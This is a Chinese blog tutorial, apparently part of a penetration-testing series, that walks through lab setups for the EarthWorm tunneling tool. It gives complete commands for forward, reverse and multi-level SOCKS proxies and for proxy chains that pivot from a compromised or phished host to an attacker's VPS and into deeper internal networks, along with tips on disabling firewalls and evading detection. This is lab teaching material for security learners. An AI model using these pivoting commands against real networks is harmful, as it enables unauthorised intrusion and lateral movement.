关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
该工具由于极其出名,很容易被杀软发现,所以本文介绍的所有实验均在无杀软情况下进行。
0x01:Eathworm 工具简介
Eathworm 工具获取
官网地址:EarthWorm
EW 备份仓库:https://github.com/idlefire/ew
Earthworm 简称 EW,是一款便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
不过可惜的是,该工具因其影响不好,已经宣布永久停止更新了,现在想下载只能去其他备份地址下载了(笔者上面提供了下载方式):
该工具能够以 “正向”、”反向“、”多级级联“ 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适应不同的操作系统:Linux、Windows、MacOS、Arm-Linux 均被包括其中。
接下来我们就来学习一下,如何使用该工具搭建内网代理,让你在内网中如入无人之境!
0x02:Eathworm 一级正向代理
0x0201:环境描述
这里的 ”正向“ 的意思就是攻击者可以直接访问目标机器,同时也意味着目标机器位于公网环境。
在我们渗透测试中,这种 ”正向代理“ 的场景多见于攻击者通过一个漏洞拿下了目标公网的边界机器的情况,对应的网络拓扑图如下:
如上,攻击者控制了目标的边界机器,想要进一步的对目标内网进行攻击。因为攻击者与目标边界机器处于同一网段,所以就可以通过在机器 B 上搭建正向代理的方式,将攻击流量送入内网中。
0x0202:环境搭建
复现环境
攻击机 Windows 7:IP 192.168.77.236 - 安装了 Proxifier 工具
边界机器 Windows 11:IP 192.168.77.94 / 172.16.0.1 - 被上传了 EW 工具
靶机 CentOS 7:IP 172.16.0.101
1. 攻击机 Windows 7 环境配置
攻击机中只需要安装 Proxifier 代理工具即可,工具的安装方法参考:内网代理 - 代理连接工具
这里我们尝试 Ping 一下边界机器与靶机,确定一下攻击机的环境:
如上,此时攻击机与边界机器 B 处于同一网络环境中,但是无法与目标内网机器进行通信。
2. 边界机器 Windows 11 环境配置
边界机器中只要下载 EW 工具即可,这里是模拟攻击者拿下边界机器上传代理软件的情况。记得把防火墙关了,不然很可能 EW 会被嘎掉:
3. 靶机 CentOS 7 开放 Web 服务
靶机中我们需要开放一个 Web 服务,用来验证攻击者能否通过内网代理进行访问。通过 Python 可以快速的搭建一个 Web 服务,命令如下:
- python -m SimpleHTTPServer 80 # Python2 版本开启 HTTP 服务
- python -m http.server 80 # Python3 版本开启 HTTP 服务
此时,我们可以用浏览器访问一下靶机的 80 端口看看是啥样子:
http://172.16.0.101:80
如上,有回显就证明靶机的 HTTP 服务搭建完成了。
0x0203:实验复现
1. 边界机器 B 开启 Socks 服务端
假设我们现在已经拿下了目标的边界机器 B,并且上传了 EW 隧道工具。此时我们来到边界机器 B 中的 EW 工具目录下,输入下面的命令,开启 Socks 代理的服务端,端口为 1080:
ew_for_Win.exe -s ssocksd -l 1080
2. 攻击机通过代理软件进入内网
2.1 Windows 攻击机通过 Proxifier 连接代理
现在边界机器已经在 1080 端口,通过 EW 开启了 Socks 代理的服务端。那么此时,我们就可以通过 Proxifier 连接此 Socks 服务端,先配置一下代理服务器(也就是边界机器的 1080 端口):
配置完代理服务器后,我们再配置一下规则,让本地所有软件都通过这个代理走:
此时,我们在 Windows 攻击机中通过浏览器来尝试访问一下内网的 CentOS 的 Web 服务看看能不能成功:
如上,访问成功。这里笔者还尝试在 Windows 攻击机中 Ping 靶机 C,但是结果没 Ping 通,笔者这里也不清楚是为啥,可能 Ping 没走全局代理吧,它优先级比较高?不过总的来说,实验成功了。我们成功通过内网代理,访问了目标内网的服务。
2.2 Linux 攻击机通过 ProxyChains 连接代理
这个是可选的部分,主要是做个介绍,免得有小伙伴不会用。对于 ProxyChains,笔者在上一章中已经介绍了如何安装和使用,所以这里就不再浪费口舌了。
我们这里演示使用的是 Kali Linux,输入下面的命令,编辑 ProxyChains 代理文件,配置上内网代理信息:
vim /etc/proxychains4.conf
然后输入下面的命令通过 Proxychains 以代理的方式启动 FireFox:
proxychains firefox
如上,成功访问目标内网的 HTTP 服务。
0x03:Eathworm 一级反向代理
0x0301:环境描述
反向连接适合于我们控制的目标没有公网 IP 的情况,或者说我们与被控机器处于不同网络环境中,彼此是不通的。
在我们渗透测试中,这种 “反向代理” 的场景多见于攻击者通过钓鱼的手段,直接拿到目标内网的一台机器的情况,对应的网络拓扑图如下:
如上,攻击者通过钓鱼的手法直接上线了目标内网的一台机器 B,现在想要攻击内网中的机器 C。但是因为机器 B 位于目标内网中,做正向代理攻击者是访问不了机器 B 的,所以只能通过反向代理,让机器 B 主动将代理服务反弹到攻击者的公网服务器上(作为攻击者,你需要 “自费” 购买一台服务器)。
0x0302:环境搭建
复现环境
攻击机 Windows 7:IP 192.168.77.236 - 安装了 Proxifier 工具 & EW 工具
边界机器 Windows 11:IP 192.168.77.94 / 172.16.0.1
被控机器 Windows 7:IP 172.16.0.102 - 被攻击者上传了 EW 工具
靶机 CentOS 7:IP 172.16.0.101
1. 攻击机 Windows 7 环境配置
攻击机中只需要安装 Proxifier 代理工具与 EW即可,Proxifier 代理工具的安装方法参考:内网代理 - 代理连接工具 即可。EW,直接上传就行了。
这里我们尝试 Ping 一下边界机器与靶机,确定一下攻击机的环境:
如上,此时攻击机与边界机器 B 处于同一网络环境中,但是无法与目标内网机器进行通信。
2. 边界机器 Windows 11 环境配置
边界机器攻击者并没有拿下,所以我们啥也不用配置,让它安安静静的做个服务器就好。
3. 被控机器 Windows 7 环境配置
被控机器中只要下载 EW 工具即可,这里是模拟攻击者拿下内网机器后上传代理软件的情况。记得把防火墙关了,不然很可能 EW 会被嘎掉:
4. 靶机 CentOS 7 开放 Web 服务
靶机中我们需要开放一个 Web 服务,用来验证攻击者能否通过内网代理进行访问。通过 Python 可以快速的搭建一个 Web 服务,命令如下:
- python -m SimpleHTTPServer 80 # Python2 版本开启 HTTP 服务
- python -m http.server 80 # Python3 版本开启 HTTP 服务
此时,我们可以用浏览器访问一下靶机的 80 端口看看是啥样子:
http://172.16.0.101:80
如上,有回显就证明靶机的 HTTP 服务搭建完成了。
0x0303:实验复现
1. 攻击者 VPS 启动反向 Socks 代理服务器
首先来到攻击者的 VPS 服务器上(也就是 Windows 7 攻击机),输入下面的命令,使用 EW 开启 Socks 服务的监听程序:
ew_for_Win.exe -s rcsocks -l 1080 -e 4444
上面这条命令会在本地机器上启动一个反向 SOCKS 代理服务器,本地机器会监听 1080 端口,并等待远程机器通过 4444 端口进行连接。一旦远程机器连接成功,本地机器就可以通过这个 SOCKS 代理访问远程网络。
2. 受控机器 B 反向连接 Socks 代理服务器
然后我们来到受控机器 B 上,使用 EW 执行下面的命令,连接上攻击者的反向 Socks 代理服务器:
- ew_for_Win.exe -s rssocks -d
-e 4444 -
- # 示例: ew_for_Win.exe -s rssocks -d 192.168.77.236 -e 4444
此时我们回到攻击者的 VPS 服务器上可以看到 “rssocks cmd_socket OK!” 的提示,代表反向代理搭建完成:
3. 攻击者通过代理软件进入内网
攻击者在自己的 VPS 上搭建了一个反向 Socks 代理服务器,监听本机的 1080 端口,并等待 4444 端口被目标内网机器反向连接。随后,攻击者又操作被控的内网机器 B 主动连接上了攻击者 VPS 的 4444 端口,那么此时,一条内网隧道就搭建完成了。
那么此时,我们就可以通过 Proxifier 连接攻击者 VPS 上的反向 Socks 代理服务器,配置的代理长下面这样:
然后再配置一下代理规则,让所有软件的流量都从上面这个代理走:
此时,我们在 Windows 攻击机中通过浏览器来尝试访问一下内网的 CentOS 的 Web 服务看看能不能成功:
如上,访问成功,证明我们的 EW 一级反向代理搭建成功。我们成功利用了内网的一台受控机器,搭建 Socks 隧道访问内网其他机器的服务。
0x04:Eathworm 二级正向代理
看完细品:EW 二级正向代理的底层原理就是本地端口转发。
0x0401:环境描述
这个场景相比于前面介绍的 EW 一级代理,就是对内网的更深一级的渗透了,此时我们的目标已经是想要访问内网核心设备了(大部分的网络也就二级,再多,其实意义不大)。
描述是苍白的,先来看一下网络拓扑图吧:
如上,攻击者控制了目标边界机器,进一步渗透发现内网一台不出网机器上有两张网卡。其中一个网卡引向了更深一层的内网,推测其为内网的核心设备。那么此时,因为攻击者与目标边界服务器是通的嘛,所以攻击者就可以使用二级正向代理,来进入二级内网中,进行更深一步的渗透了。
0x0402:环境搭建
复现环境
攻击机 Windows 7:IP 192.168.77.236 - 安装了 Proxifier 工具
边界机器 Windows 11:IP 192.168.77.94 / 172.16.0.1 - 被上传了 EW 工具
内网核心边界机器 Windows 7:IP 172.16.0.102 / 10.20.10.128 - 被上传了 EW 工具
靶机 CentOS 7:IP 10.20.10.129 - 开放一个 Web 服务用来做验证
前面两个实验,环境都搭建那么多次了,相信牛逼如你,看着上面这个环节简介你也可以搭建完成的,笔者这里就不多说了,直接开始复现。
0x0403:实验复现
1. 内网边界机器 C 启动 Socks 服务端
首先来到内网核心边界机器 C 上,执行下面的命令,启动 Socks 服务端:
ew_for_Win.exe -s ssocksd -l 4444
2. 公网边界机器 B 进行端口转发
然后来到公网边界机器 B 上进行端口转发,将访问本机 1080 端口的流量转发给内网 C 机器的 4444 端口:
- ew_for_Win.exe -s lcx_tran -l 1080 -f
-g 4444 -
- # 示例: ew_for_Win.exe -s lcx_tran -l 1080 -f 172.16.0.102 -g 4444
3. 攻击机通过代理软件进入内网
返回攻击机,使用 Proxifier 配置内网代理服务器,目标为目标公网边界机器的 1080 端口:
设置完代理服务器后,我们再来配置一下代理规则,让本地所有软件的流量都走代理:
然后尝试通过浏览器,访问目标内网 10.20.10.129 的 HTTP 服务:
如上,正向二级代理创建成功。
0x05:Eathworm 二级反向代理
看完细品:EW 二级反向代理的底层原理就是远程端口转发。
0x0501:环境描述
话语是苍白的,先来看拓扑(这个实验机器有点多,笔者没有弄公网 VPS,公网 VPS 笔者用一台内网虚拟机做个代替,意思到了就行):
如上,假设我们钓鱼,调到一个内网机器 B,攻击者无法直接访问内网,内网机器 C 不能出网,但能访问机器 B,内网核心服务器 D 只能与内网机器 C 通信。那么现在,我们就要通过 EW 二级反向代理,直接让攻击者打到 D。
0x0502:环境搭建
复现环境
攻击机 A Windows 7:IP 192.168.77.236 - 安装了 Proxifier 工具 & EW 工具
边界机器 B Windows 11:IP 192.168.77.94 / 172.16.0.1 - 被攻击者上传了 EW 工具
被控机器 C Windows 7:IP 172.16.0.102 / 10.20.10.128 - 被攻击者上传了 EW 工具
靶机 D CentOS 7:IP 10.20.10.129 - 开放一个 WEB 服务作为验证
前面两个实验,环境都搭建那么多次了,相信牛逼如你,看着上面这个环节简介你也可以搭建完成的,笔者这里就不多说了,直接开始复现。
0x0503:实验复现
1. 攻击者 VPS 做端口转发
首先来到攻击者 VPS(攻击机 A)上,输入下面的命令,监听本机的 1080 端口,并将接收到的流量转发到目标的 4444 端口:
ew_for_Win.exe -s lcx_listen -l 1080 -e 4444
2. 内网核心边界机器 C 开启 Socks 服务
然后来到内网机器 C 中,输入下面的命令开启 Socks 服务:
ew_for_Win.exe -s ssocksd -l 5555
3. 边界机器 B 远程端口转发
然后来到内网机器 B 中,输入下面的命令做一个远程端口转发,打通内网 C 机器 5555 端口,与攻击者机器 4444 端口之间的隧道:
- ew_for_Win.exe -s lcx_slave -d
-e 4444 -f -g 5555 -
- # 示例: ew_for_Win.exe -s lcx_slave -d 192.168.77.236 -e 4444 -f 172.16.0.102 -g 5555
4. 攻击者通过代理软件进入内网
在攻击者机器下,使用 Proxifier 配置代理服务器为自己 VPS 的 1080 端口:
设置完代理规则后,即可直接利用 EW 二级反向代理穿透目标内网,直取目标核心资产:
0x06:Eathworm 三级反向代理
三级代理太累人了,下面是一个 EW 三级代理的参考(麻烦的很):
- $ ./ew -s rcsocks -l 1080 -e 8888
- $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
- $ ./ew -s lcx_listen -l 9999 -e 7777
- $ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
0x07:Eathworm 内网多级代理 - 代理链
这个是最后一章,需要搭配特殊的代理工具使用,如果是 Windows,推荐使用 Proxifier,如果是 Linux,则推荐使用 ProxyChain。因为这两个工具都支持做代理链。
下面笔者就以上图为例,看看只掌握 EW 一级正反代理,是如何穿透目标内网的(这里需要将 IP 搞懂,不要混了)。
0x0701:EW 一级正反向代理
EW 做一级正向代理的语法如下:
ew_for_Win.exe -s ssocksd -l 1080
EW 做一级反向代理的语法如下:
- ew_for_Win.exe -s rcsocks -l 1080 -e 4444 # 攻击者 VPS 执行
- ew_for_Win.exe -s rssocks -d
-e 4444 # 内网机器执行
0x0702:EW 搭建内网代理链
笔者下面就以正向代理为例,先搭建一条内网代理链。反向代理其实差不多,笔者懒了,就不演示了。
首先来到公网服务器,即边界机器 B 上,使用如下命令启动 Socks 服务端(此时,机器 B 的 Socks 服务端对外 IP 为 192.168.77.94:1080
):
然后再去内网核心机器 C 上,依旧使用如下命令启动 Socks 服务端(此时,机器 C 的 Socks 服务端对外 IP 为 172.16.0.102:1080
):
0x0703:攻击者通过代理链进入内网
你可以再想想,要是进入内网前再配几个公网代理呢?一层套一层,抓不住的,根本抓不住!
1. Windows - Proxifier 代理链配置
此时,我们只需要在 Proxifier 中配置如下代理链即可:
然后,在代理规则中启用这条代理链即可:
我们尝试使用浏览器访问目标内网核心资产 10.20.10.129 上的 HTTP 服务:
如上,依旧是成功访问。如果后续发现了更深层次的内网,我们完全可以通过上述方式,在代理链中增加或者减少代理链的层级来在对方内网纵行霸道(不是横向哈)。
2. Linux - ProxyChains 代理链配置
下面笔者以 Kali Linux 为例,来看看 ProxyChains 咋做的代理链。输入下面命令,修改 ProxyChains 的配置文件:
vim /etc/proxychains4.conf
然后通过 proxychains firefox
以代理链的方式打开 FireFox,并尝试访问目标内网 10.20.10.129 上的 HTTP 服务:
如上,页面成功返回目标内网的 HTTP 服务器的信息,证明我们实验成功。



评论记录:
回复评论: